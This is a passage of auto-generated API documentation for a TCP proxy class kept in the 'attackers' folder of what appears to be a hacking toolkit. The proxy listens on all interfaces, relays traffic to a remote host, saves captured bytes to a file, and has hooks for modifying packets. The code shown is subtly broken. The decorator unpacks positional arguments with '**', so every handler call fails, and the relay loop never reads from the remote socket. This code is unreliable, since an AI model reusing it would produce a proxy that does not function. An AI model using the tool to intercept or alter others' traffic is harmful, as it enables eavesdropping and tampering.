    def serve_proxy(self,  remote_host: str, remote_port: int, host: str = '0.0.0.0', port: int = 8080, max_conns: int = 5, receive_first: bool = False, v4: bool = True):
        '''Starts Proxy Server

        Args:
            remote_host (str): IP address of the remote host
            remote_port (int): port of remote host
            host (str): ip address of binding interface (default = '0.0.0.0', listens on all interfaces)
            port (int): port address of binding interface
            max_conns (int): maximum number of connections to listen for
            receive_first (bool): if True proxy will start receiving data else it'll send
            v4 (bool): if True uses IP v4 address else IP v6

        Returns:
            None
        '''
        address_family = socket.AF_INET if v4 else socket.AF_INET6
        server = socket.socket(address_family, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        try:
            server.bind((host, port))
        except Exception as e:
            logging.error(f'Cannot bind: {e}')

        logging.info(
            f'Listening on {host}:{port} with maximum {max_conns} connections')
        server.listen(max_conns)

        while True:
            # accept client connection request
            client_sock, addr = server.accept()
            logging.info(f'Incoming from {addr[0]}:{addr[1]}')

            # start proxy thread
            # proxy_handler(self, client_sock: socket.socket, remote_host: str, remote_port: int, receive_first: bool, v4: bool = True)
            thread = Thread(target=self.proxy_handler, args=(
                client_sock, remote_host, remote_port, receive_first, v4))
            try:
                thread.start()
            except Exception as e:
                logging.error(f'Error in Thread: {e}')

__init__(filepath=None)

TCProxy class constructor

Parameters:

Name Type Description Default
filepath str

path to file for storing captured data

None

Returns:

Type Description
None

None

Source code in pyhtools\attackers\Network\tcp_proxy.py
def __init__(self, filepath: str = None) -> None:
    '''TCProxy class constructor

    Args: 
        filepath: path to file for storing captured data

    Returns: 
        None
    '''
    self.__file_name = filepath

    if self.__file_name and os.path.isfile(self.__file_name):
        logging.warning(
            f'{self.__file_name} file data will be overwritten!')
        with open(self.__file_name, 'wb') as f:
            f.write(b'')

    elif self.__file_name:
        logging.info(
            f'Captured data will be saved in file {self.__file_name}')

__write_data(data)

Write Data to file

Parameters:

Name Type Description Default
data bytes

data to be written to the file

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\tcp_proxy.py
def __write_data(self, data):
    '''Write Data to file

    Args:
        data (bytes): data to be written to the file

    Returns:
        None
    '''
    if not isinstance(data, bytes):
        data = bytes(data, encoding='utf-8')

    if self.__file_name:
        with open(self.__file_name, 'ab') as f:
            f.write(data)

handler(func) staticmethod

decorator used for packet modification

Parameters:

Name Type Description Default
func function

method function to be wrapped

required

Returns:

Name Type Description
function

wrapped function with error handling

Source code in pyhtools\attackers\Network\tcp_proxy.py
@staticmethod
def handler(func):
    '''decorator used for packet modification

    Args:
        func (function): method function to be wrapped 

    Returns:
        function: wrapped function with error handling
    '''
    @wraps(func)
    def wrapper(*args, **kwargs):
        res = None
        try:
            res = func(**args, **kwargs)
            return res
        except Exception as e:
            logging.error(e)

    return wrapper

proxy_handler(client_sock, remote_host, remote_port, receive_first, v4=True)

handles proxy connections

Parameters:

Name Type Description Default
client_sock socket.socket

client TCP socket connection

required
remote_host str

IP address of the remote host

required
remote_port int

port of remote host

required
receive_first bool

if True proxy will start receiving data else it'll send

required
v4 bool

if True uses IP v4 address else IP v6

True

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\tcp_proxy.py
def proxy_handler(self, client_sock: socket.socket, remote_host: str, remote_port: int, receive_first: bool, v4: bool = True):
    '''handles proxy connections

    Args:
        client_sock (socket.socket): client TCP socket connection
        remote_host (str): IP address of the remote host
        remote_port (int): port of remote host
        receive_first (bool): if True proxy will start receiving data else it'll send
        v4 (bool): if True uses IP v4 address else IP v6

    Returns:
        None
    '''
    address_family = socket.AF_INET if v4 else socket.AF_INET6
    remote_sock = socket.socket(address_family, socket.SOCK_STREAM)
    remote_sock.connect((remote_host, remote_port))
    remote_buff = b''

    if receive_first:
        remote_buff = self.receive_from(client_sock)
        self.__write_data(remote_buff)

    remote_buff = self.response_handler(remote_buff)
    if len(remote_buff):
        logging.info(f'[<--] Send {len(remote_buff)} bytes to localhost')
        client_sock.send(remote_buff)

    while True:
        # data from localhost to remote
        local_buff = self.receive_from(client_sock)
        if len(local_buff):
            logging.info(
                f'[-->] Received {len(local_buff)} bytes from localhost')
            local_buff = self.request_handler(local_buff)
            remote_sock.send(local_buff)
            logging.info(f'[-->] Sent to remote host')

        # data from remote to localhost
        remote_buff = self.response_handler(remote_buff)
        if len(remote_buff):
            logging.info(
                f'[<--] Received {len(remote_buff)} bytes from remote host')
            client_sock.send(remote_buff)

            remote_buff = self.response_handler(remote_buff)
            client_sock.send(remote_buff)
            logging.info(f'[<--] Sent to localhost')

        # if no data is received close sockets
        if not len(local_buff) or not len(remote_buff):
            remote_sock.close()
            client_sock.close()
            logging.info('Closing connections due to no incoming data')
            break

receive_from(conn)

Accepts socket data and returns data from the buffer

Parameters:

Name Type Description Default
conn socket.socket

socket connection for reception

required

Returns:

Name Type Description
bytes

returns received data

Source code in pyhtools\attackers\Network\tcp_proxy.py
def receive_from(self, conn: socket.socket):
    '''Accepts socket data and returns data from the buffer

    Args:
        conn (socket.socket): socket connection for reception

    Returns:
        bytes: returns received data
    '''
    conn.settimeout(5)
    try:
        buff = b''
        while True:
            data = conn.recv(4096)
            if not data:
                break
            buff += data
    except Exception:
        pass
    return buff

request_handler(buff)

manipulate buffer data before sending request to remote host

Parameters:

Name Type Description Default
buff bytes

received data

required

Returns:

Name Type Description
bytes

received data after handling request

Source code in pyhtools\attackers\Network\tcp_proxy.py
@handler
def request_handler(self, buff: bytes):
    '''manipulate buffer data before sending request to remote host

    Args:
        buff (bytes): received data

    Returns:
        bytes: received data after handling request
    '''
    return buff

response_handler(buff)

manipulate buffer data after receiving from remote host

Parameters:

Name Type Description Default
buff bytes

received data

required

Returns:

Name Type Description
bytes

received data after handling request

Source code in pyhtools\attackers\Network\tcp_proxy.py
@handler
def response_handler(self, buff: bytes):
    '''manipulate buffer data after receiving from remote host

    Args:
        buff (bytes): received data

    Returns:
        bytes: received data after handling request
    '''
    return buff

serve_proxy(remote_host, remote_port, host='0.0.0.0', port=8080, max_conns=5, receive_first=False, v4=True)

Starts Proxy Server

Parameters:

Name Type Description Default
remote_host str

IP address of the remote host

required
remote_port int

port of remote host

required
host str

ip address of binding interface (default = '0.0.0.0', listens on all interfaces)

'0.0.0.0'
port int

port address of binding interface

8080
max_conns int

maximum number of connections to listen for

5
receive_first bool

if True proxy will start receiving data else it'll send

False
v4 bool

if True uses IP v4 address else IP v6

True

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\tcp_proxy.py
def serve_proxy(self,  remote_host: str, remote_port: int, host: str = '0.0.0.0', port: int = 8080, max_conns: int = 5, receive_first: bool = False, v4: bool = True):
    '''Starts Proxy Server

    Args:
        remote_host (str): IP address of the remote host
        remote_port (int): port of remote host
        host (str): ip address of binding interface (default = '0.0.0.0', listens on all interfaces)
        port (int): port address of binding interface
        max_conns (int): maximum number of connections to listen for
        receive_first (bool): if True proxy will start receiving data else it'll send
        v4 (bool): if True uses IP v4 address else IP v6

    Returns:
        None
    '''
    address_family = socket.AF_INET if v4 else socket.AF_INET6
    server = socket.socket(address_family, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        server.bind((host, port))
    except Exception as e:
        logging.error(f'Cannot bind: {e}')

    logging.info(
        f'Listening on {host}:{port} with maximum {max_conns} connections')
    server.listen(max_conns)

    while True:
        # accept client connection request
        client_sock, addr = server.accept()
        logging.info(f'Incoming from {addr[0]}:{addr[1]}')

        # start proxy thread
        # proxy_handler(self, client_sock: socket.socket, remote_host: str, remote_port: int, receive_first: bool, v4: bool = True)
        thread = Thread(target=self.proxy_handler, args=(
            client_sock, remote_host, remote_port, receive_first, v4))
        try:
            thread.start()
        except Exception as e:
            logging.error(f'Error in Thread: {e}')